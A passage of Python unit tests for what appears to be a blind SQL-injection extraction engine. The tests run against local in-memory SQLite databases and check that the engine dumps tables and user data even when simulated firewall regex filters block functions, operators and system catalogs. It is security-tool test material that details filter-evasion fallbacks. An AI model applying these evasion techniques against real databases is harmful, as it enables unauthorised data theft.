esp = Esperanto(ask)
esp.discover()
d = esp.dump("users", limit=10)
got = set(frozenset(dict(zip(d["columns"], r)).items()) for r in d["rows"])
want = set(frozenset({"id": str(i), "uname": u, "note": n}.items()) for i, u, n in truth)
self.assertTrue(d["complete"] and got == want, "dump mismatch: %r" % d["rows"])
def test_dump_scavenges_without_hex_or_concat(self):
# DOOMSDAY: a back-end with NO hex function AND NO concat operator (nothing to
# frame a whole row with) must still be dumped - cell by cell, one value per
# extraction. Quotes/commas/NULLs in the data must survive (a single value has
# no framing ambiguity). This is the scavenger's whole reason to exist.
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE users (id INTEGER, name TEXT, email TEXT)")
for row in ((1, "luther", "a@b.c"), (2, "o'brien", "x,y@z"), (3, "wu", None)):
con.execute("INSERT INTO users VALUES (?,?,?)", row)
con.commit()
blk = re.compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|BINTOHEX|HEX_ENCODE|TO_HEX|BINTOSTR|"
r"\|\||\bCONCAT\(|CONCAT_WS|\)\+\(|\)&\(") # no hex, no concat at all
def ask(cond):
if blk.search(cond):
return False
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask)
esp.discover()
self.assertIsNone(esp.dialect.hexfn)
self.assertIsNone(esp.dialect.concat)
d = esp.dump("users")
got = set(frozenset(dict(zip(d["columns"], r)).items()) for r in d["rows"])
want = set(frozenset(v.items()) for v in (
{"id": "1", "name": "luther", "email": "a@b.c"},
{"id": "2", "name": "o'brien", "email": "x,y@z"},
{"id": "3", "name": "wu", "email": None}))
self.assertTrue(d["complete"] and got == want, "cell-by-cell dump: %r" % d["rows"])
def test_enumerate_without_count(self):
# COUNT() filtered (a WAF, or an exotic engine) must not kill discovery:
# catalog detection, brute-force existence probing, and identifier quoting are
# all COUNT-free (scalar-subquery existence), so tables/columns/dump still work.
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE users (id INTEGER, name TEXT)")
con.execute("INSERT INTO users VALUES (1, 'admin'), (2, 'root')")
con.commit()
blk = re.compile(r"(?i)\bCOUNT\s*\(")
def ask(cond):
if blk.search(cond):
return False
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask)
esp.discover()
self.assertEqual(esp.enumerate("table", limit=10), ["users"])
self.assertEqual(sorted(esp.columns("users")), ["id", "name"])
rows = (esp.dump("users") or {}).get("rows") or []
got = set(frozenset(dict(zip(esp.dump("users")["columns"], r)).items()) for r in rows)
want = set(frozenset(v.items()) for v in ({"id": "1", "name": "admin"}, {"id": "2", "name": "root"}))
self.assertEqual(got, want)
def test_quoting(self):
# reserved-word / spaced column names must be quoted, not interpolated raw
con = sqlite3.connect(":memory:")
con.execute('CREATE TABLE q (id INTEGER, "order" TEXT, "group by" TEXT)')
con.execute('INSERT INTO q VALUES (1, ?, ?)', ("a'b", "x,y"))
con.commit()
def ask(cond):
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask)
esp.discover()
dq = esp.dump("q")
got = set(frozenset(dict(zip(dq["columns"], r)).items()) for r in dq["rows"])
want = set([frozenset({"id": "1", "order": "a'b", "group by": "x,y"}.items())])
self.assertTrue(dq["complete"] and got == want and esp.dialect.identQuote,
"quoted-identifier dump failed: %r" % dq["rows"])
def test_strategy_handoff(self):
# the frozen InferenceStrategy is a *sufficient* host interface, and immutable
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE k (v TEXT)")
con.execute("INSERT INTO k VALUES ('Str4t3gy!')")
con.commit()
def ask(cond):
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask)
esp.discover()
strat = esp.strategy()
self.assertRaises(AttributeError, setattr, strat, "compare_mode", "x")
self.assertEqual(hostExtract(ask, strat, "(SELECT v FROM k)"), "Str4t3gy!")
self.assertTrue(strat.asQueriesRow()["substring"])
def test_pattern_match_fallback(self):
# SUBSTR + LENGTH + hex + code fns ALL blacklisted -> pure GLOB/LIKE floor
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE flag (id INTEGER, v TEXT)")
con.execute("INSERT INTO flag VALUES (1, 'FLAG{no_SUBSTR_%_needed}')")
con.commit()
blk = re.compile(r"(?i)\bSUBSTR|SUBSTRING|\bMID\(|\bLENGTH|CHAR_LENGTH|\bLEN\(|"
r"OCTET_LENGTH|LENGTHB|DATALENGTH|(ASCII|UNICODE|ORD)\(|\bHEX\(|"
r"RAWTOHEX|ENCODE\(")
def ask(cond):
if blk.search(cond):
return False
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask)
esp.discover()
self.assertIsNotNone(esp.dialect.prefix)
self.assertEqual(esp.extract("(SELECT v FROM flag WHERE id=1)"), "FLAG{no_SUBSTR_%_needed}")
def test_like_floor_escapes_wildcard_chars(self):
# the classic trap: on the LIKE floor '_' and '%' ARE the wildcards, so a value
# like 'all_products' must escape them (\_ ESCAPE '\'), not treat them as
# match-anything. GLOB is blocked here to force LIKE (where '_'/'%' are magic).
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE v (val TEXT)")
con.execute("INSERT INTO v VALUES ('all_products')")
for t in ("all_products", "wp_users", "sales%2024"): # '_'/'%' in identifiers
con.execute('CREATE TABLE "%s" (id)' % t)
con.commit()
blk = re.compile(r"(?i)\bSUBSTR|SUBSTRING|\bMID\(|\bLENGTH|CHAR_LENGTH|\bLEN\(|"
r"OCTET_LENGTH|LENGTHB|DATALENGTH|(ASCII|UNICODE|ORD|CODEPOINT)\(|"
r"\bHEX\(|RAWTOHEX|ENCODE\(|GLOB") # +GLOB -> only LIKE left
def ask(cond):
if blk.search(cond):
return False
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask)
esp.discover()
self.assertEqual(esp.dialect.prefix.name, "LIKE") # GLOB gone -> LIKE floor
self.assertEqual(esp.extract("(SELECT val FROM v)"), "all_products")
tabs = esp.enumerate("table", limit=10) or []
self.assertEqual(sorted(tabs), ["all_products", "sales%2024", "v", "wp_users"])
def test_length_from_substring(self):
# every length fn blacklisted but SUBSTR present -> length derived from the end
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t6 (v TEXT)")
con.execute(u"INSERT INTO t6 VALUES ('Admin-42€')")
con.commit()
blk = re.compile(r"(?i)\b(CHAR_LENGTH|LENGTH|LEN)\s*\(")
def ask(cond):
if blk.search(cond):
return False
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask)
d = esp.discover()
self.assertIsNone(d.length)
self.assertEqual(esp.extract("(SELECT v FROM t6)"), u"Admin-42€")
def test_enumeration_degrades_not_crashes(self):
# a permission/charset wall mid-walk (oracle can't decide the keyset bound)
# must STOP with partial results, never crash with OracleUndecided
con = sqlite3.connect(":memory:")
for t in ("alpha", "beta", "gamma"):
con.execute("CREATE TABLE %s (x)" % t)
con.commit()
def ask(cond):
if "name>" in cond.replace(" ", "").lower(): # the keyset bound
raise RuntimeError("simulated permission/charset wall")
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except Exception:
return False
esp = Esperanto(ask)
esp.discover()
names = esp.enumerate("table", limit=10) # must not raise
self.assertEqual(names, ["alpha"])
self.assertTrue(any("stopped early" in n for n in esp.dialect.notes))
def test_left_right_rung(self):
# SUBSTR/SUBSTRING/MID blocked but LEFT+RIGHT present -> RIGHT(LEFT(x,p),1)
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t7 (v TEXT)")
con.execute("INSERT INTO t7 VALUES ('Zagreb-42')")
con.commit()
con.create_function("LEFT", 2, lambda s, n: (s or "")[:max(n, 0)])
con.create_function("RIGHT", 2, lambda s, n: (s or "")[len(s or "") - n:] if n > 0 else "")
blk = re.compile(r"(?i)\b(SUBSTR|SUBSTRING|SUBSTRC|MID)\s*\(")
def ask(cond):
if blk.search(cond):
return False
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask)
d = esp.discover()
self.assertTrue(d.substring is not None and d.substring[0] == "left_right")
self.assertEqual(esp.extract("(SELECT v FROM t7)"), "Zagreb-42")
# -- adversarial dialect scenarios ---------------------------------------------
def _adapt(self, oracle):
esp = Esperanto(oracle)
esp.discover()
return esp, esp.extract(_SECRET_EXPR)
def test_disguise_substring_is_SUBSTRING(self):
# SUBSTR/MID blocked; the engine "has" SUBSTRING -> mapped to SQLite substr
esp, got = self._adapt(_disguisedOracle(
blocked=r"\bSUBSTR\(|\bMID\(|\bSUBSTRC\(",
rewrites=[(r"SUBSTRING\(", "substr(")]))
self.assertEqual(esp.dialect.substring[0], "SUBSTRING")
self.assertEqual(got, "admin")
def test_disguise_length_is_LEN(self):
# CHAR_LENGTH/LENGTH blocked; the engine "has" LEN -> mapped to SQLite length
esp, got = self._adapt(_disguisedOracle(
blocked=r"CHAR_LENGTH\(|\bLENGTH\(",
rewrites=[(r"\bLEN\(", "length(")]))
self.assertEqual(esp.dialect.length[0], "LEN")
self.assertEqual(got, "admin")
def test_disguise_charcode_is_ASCII(self):
# UNICODE/ORD blocked; the engine "has" ASCII -> mapped to SQLite unicode()
esp, got = self._adapt(_disguisedOracle(
blocked=r"\bUNICODE\(|\bORD\(|CODEPOINT\(",
rewrites=[(r"\bASCII\(", "unicode(")]))
self.assertEqual(esp.dialect.charcode[0], "ASCII")
self.assertEqual(esp.dialect.compare, "code")
self.assertEqual(got, "admin")
def test_disguise_concat_is_CONCAT_not_pipes(self):
# || blocked (as if it were logical OR, MySQL-style); engine has variadic CONCAT
esp, got = self._adapt(_disguisedOracle(
blocked=r"\|\|",
funcs=[("CONCAT", -1, _concatFn)]))
self.assertEqual(esp.dialect.concat[0], "concat")
self.assertEqual(got, "admin")
def test_disguise_no_catalog_brute_forces_schema(self):
# every system catalog denied: the engine knows NOTHING about the schema and
# must brute-force the table + columns, then dump
esp = Esperanto(_disguisedOracle(
blocked=r"sqlite_master|INFORMATION_SCHEMA|SYS\.|SYSIBM|pg_catalog|pg_tables|"
r"syscat|RDB\$|master\.\.|sys\.tables|sys\.schemas"))
esp.discover()
self.assertIsNone(esp.dialect.catalog)
self.assertEqual(esp.enumerate("table"), ["users"])
self.assertEqual(esp.columns("users"), ["id", "name", "email"])
rows = (esp.dump("users") or {}).get("rows")
self.assertEqual(rows, [["1", "luther", "a@b.c"], ["2", "admin", "p@w.n"], ["3", "wu", None]])
def test_disguise_gt_blocked_falls_to_between(self):
# a WAF that strips '<'/'>' must not break bisection - retry via BETWEEN
esp = Esperanto(_disguisedOracle(blocked=r">|<"))
esp.discover()
self.assertEqual(esp._comparator, "between")
self.assertEqual(esp.extract(_SECRET_EXPR), "admin")
self.assertEqual(len((esp.dump("users") or {}).get("rows") or []), 3) # BETWEEN keyset pages all
def test_disguise_gt_and_between_blocked_use_in(self):
# '<'/'>' AND BETWEEN gone: order-free IN() subset bisection for the chars and
# NOT IN() paging for the rows - needs only '=' membership
esp = Esperanto(_disguisedOracle(blocked=r">|<|BETWEEN"))
esp.discover()
self.assertEqual(esp._comparator, "membership")
self.assertEqual(esp.extract(_SECRET_EXPR), "admin")
self.assertEqual(len((esp.dump("users") or {}).get("rows") or []), 3) # NOT IN() pages all
def test_disguise_no_ordering_no_in_still_extracts(self):
# the hard floor: no '<'/'>', no BETWEEN, no IN - only '=' equality. Values
# still extract (linear scan); multi-row dump honestly degrades (can't page)
esp = Esperanto(_disguisedOracle(blocked=r">|<|BETWEEN|\bIN\s*\("))
esp.discover()
self.assertEqual(esp.extract(_SECRET_EXPR), "admin")
rows = (esp.dump("users") or {}).get("rows")
self.assertTrue(rows and rows[0] == ["1", "luther", "a@b.c"])
def test_disguise_everything_at_once(self):
# the monster: SUBSTRING + LEN + ASCII(->unicode) + variadic CONCAT (no ||) +
# NO catalog, all at once - the engine must adapt to every disguise and dump
esp = Esperanto(_disguisedOracle(
blocked=(r"\bSUBSTR\(|\bMID\(|\bSUBSTRC\(|CHAR_LENGTH\(|\bLENGTH\(|"
r"\bUNICODE\(|\bORD\(|CODEPOINT\(|\|\||"
r"sqlite_master|INFORMATION_SCHEMA|SYS\.|SYSIBM|pg_catalog|pg_tables|"
r"syscat|RDB\$|master\.\.|sys\.tables|sys\.schemas"),
rewrites=[(r"SUBSTRING\(", "substr("), (r"\bLEN\(", "length("), (r"\bASCII\(", "unicode(")],
funcs=[("CONCAT", -1, _concatFn)]))
esp.discover()
self.assertEqual(esp.dialect.substring[0], "SUBSTRING")
self.assertEqual(esp.dialect.length[0], "LEN")
self.assertEqual(esp.dialect.charcode[0], "ASCII")
self.assertEqual(esp.dialect.concat[0], "concat")
self.assertIsNone(esp.dialect.catalog)
rows = (esp.dump("users") or {}).get("rows")
self.assertEqual(rows, [["1", "luther", "a@b.c"], ["2", "admin", "p@w.n"], ["3", "wu", None]])
def test_disguise_dialect_profiles(self):
# each coherent fake back-end must be discovered from scratch and yield every
# row byte-exact - not just the one capability the disguise touches (column
# ORDER is a dialect detail, so compare rows as column->value maps)
want = set(frozenset(d.items()) for d in (
{"id": "1", "name": "luther", "email": "a@b.c"},
{"id": "2", "name": "admin", "email": "p@w.n"},
{"id": "3", "name": "wu", "email": None}))
for name, blocked, rewrites, funcs in _DIALECTS:
esp = Esperanto(_disguisedOracle(blocked, rewrites, funcs))
esp.discover()
self.assertEqual(esp.extract(_SECRET_EXPR), "admin", "%s: extract" % name)
d = esp.dump("users") or {}
got = set(frozenset(dict(zip(d.get("columns") or [], r)).items()) for r in (d.get("rows") or []))
self.assertEqual(got, want, "%s: dump %r" % (name, d.get("rows")))
def test_disguise_bracket_quoting_reserved_words(self):
# '"' and backtick idents blocked -> the engine must fall to [..] quoting to
# reach reserved-word columns; commas/quotes in the data must survive framing
seed = ('CREATE TABLE q (id INTEGER, "order" TEXT, "group" TEXT)',
"INSERT INTO q VALUES (1, ?, ?)")
con = sqlite3.connect(":memory:")
con.execute(seed[0]); con.execute(seed[1], ("a,b", "x'y")); con.commit()
blk = re.compile(r'"|`')
def ask(cond):
if blk.search(cond):
return False
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except Exception:
return False
esp = Esperanto(ask); esp.discover()
dq = esp.dump("q")
self.assertEqual(esp.dialect.identQuote, ("[", "]")) # forced past " and ` to [..]
got = set(frozenset(dict(zip(dq["columns"], r)).items()) for r in dq["rows"])
want = set([frozenset({"id": "1", "order": "a,b", "group": "x'y"}.items())])
self.assertTrue(dq["complete"] and got == want, "bracket-quoted dump: %r" % dq["rows"])
def test_disguise_lossy_charcode_escalates_to_hex(self):
# a first-byte charcode fn (MySQL-style ASCII) is lossy for non-ASCII; the
# engine must detect that and escalate to hex, recovering the bytes exactly
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t (v TEXT)")
con.execute(u"INSERT INTO t VALUES ('café-€')") # cafe-EUR
con.commit()
con.create_function("ASCII", 1, lambda s: (bytearray(s.encode("utf-8"))[0] if s else None))
blk = re.compile(r"\bUNICODE\(|\bORD\(|CODEPOINT\(")
def ask(cond):
if blk.search(cond):
return False
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except Exception:
return False
esp = Esperanto(ask); esp.discover()
self.assertEqual(esp.dialect.charcode[0], "ASCII")
self.assertEqual(esp.extractText("(SELECT v FROM t)"), u"café-€")
def test_disguise_unicode_through_dialect(self):
# non-ASCII data recovered byte-exact even while the dialect is disguised
# (SUBSTR/MID/CHAR_LENGTH/LENGTH blocked -> SUBSTRING/LEN mapped to SQLite)
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE s (v TEXT)")
con.execute(u"INSERT INTO s VALUES ('Zagreb-župa-€42')") # Zagreb-zupa-EUR42
con.commit()
blk = re.compile(r"\bSUBSTR\(|\bMID\(|CHAR_LENGTH\(|\bLENGTH\(", re.I)
rw = [(re.compile(r"SUBSTRING\(", re.I), "substr("), (re.compile(r"\bLEN\(", re.I), "length(")]
def ask(cond):
if blk.search(cond):
return False
sql = cond
for rx, rep in rw:
sql = rx.sub(rep, sql)
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % sql).fetchone()[0] == 1
except Exception:
return False
esp = Esperanto(ask); esp.discover()
self.assertEqual(esp.extractText("(SELECT v FROM s)"), u"Zagreb-župa-€42")
if __name__ == "__main__":
unittest.main(verbosity=2)